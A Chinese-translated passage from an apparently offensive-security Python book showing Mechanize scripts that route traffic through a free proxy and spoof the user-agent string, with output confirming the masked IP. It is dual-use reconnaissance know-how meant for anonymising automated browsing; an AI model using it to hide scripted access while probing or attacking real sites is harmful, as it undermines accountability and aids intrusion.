我们的程序和在浏览器中打开一个网站没有什么不同,因此,我们应该采取同 样的步骤在正常的浏览网页时建立匿名。网站查找唯一标识符来识别网页游客 有几种不同的方法。第一种方法是通过记录请求的 IP 来确认用户。这可以通过 使用虚拟专用网络(VPN)或者 tor 网络来缓和。一旦一个客户连接到 VPN,然后, 所有的将通过 VPN 自动处理。Python 可以连接到代理服务器,给程序添加匿名 功能。Mechanize 的 Browser 类可以指定一个代理服务器属性。简单的设置浏 览器代理是不够巧妙的。有很多的免费的代理网络,所以用户可以进去选择它 们,通过它们的功能浏览。在这个例子中,我们选择 http://www.hidemyass.com/的 HTTP 代理。在你读到这里的时候这个代理很有 可能已经不工作了。所以去这个网站得到使用不同 HTTP 代理的细节。此外, McCurdy 维护了一个很好的代理列表在网站: http://rmccurdy.com/scripts/proxy/good.txt。我们将测试我们的代理访问 NOAA 网站,它会友好的告诉你访问该网站时你的 IP 地址。 import mechanize def testProxy(url, proxy): browser = mechanize.Browser() browser.set_proxies(proxy) page = browser.open(url) source_code = page.read() print source_code url = 'http://ip.nefsc.noaa.gov/' hideMeProxy = {'http': '216.155.139.115:3128'} testProxy(url, hideMeProxy) 虽然识别 HTML 源代码有一点困难,我们看到该网站人为我们的 IP 地址是 216.155.139.115,我们的代理,成功!我们继续构建脚本。 recon:∼# python proxyTest.py What's My IP Address? <..SNIPPED..> Your IP address is...
216.155.139.115


Your hostname appears to be...
216.155.139.115. choopa.net
我们现在有一个简单的匿名浏览器。站点使用浏览器的 user-agent 字符串来识 别唯一用户另一种方法。在正常情况下,user-agent 字符串让网站知道关于浏 览器的重要信息能制作 HTML 代码给用户更好的体验。然而,这些信息柏包含 内核版本,浏览器版本,和其他关于用户的详细信息。恶意网站利用这些信息 针对特定的浏览器进行精密的渗透利用,而其他网站利用这些信息来区分电脑 是位与 NAT 网络还是私有网络。最近,一个丑闻被爆出,一个旅游网站利用 user-agent 字符串来检测 MacBook 用户并提供更昂贵的选择。 幸运的是,Mechanize 改变 user-agent 字符串和改变代理一样简单。网站: http://www.useragentstring.com/pages/useragentstring.php 为我们展示了一 个巨大的有效的 user-agent 字符串名单供我们选择。我们将编写一个脚本来测 试改变我们的 user-agent 字符串访问 http://whatismyuseragent.dotdoh.com/来打印出我们的 user-agent 字符。 import mechanize def testUserAgent(url, userAgent): browser = mechanize.Browser() browser.addheaders = userAgent page = browser.open(url) source_code = page.read() print(source_code) url = 'http://whatismyuseragent.dotdoh.com/' userAgent = [('User-agent','Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')] testUserAgent(url, userAgent) 运行这个脚本,我们看到我们可以用虚假的 user-agent 字符串来访问页面。 recon:∼# python userAgentTest.py Browser UserAgent Test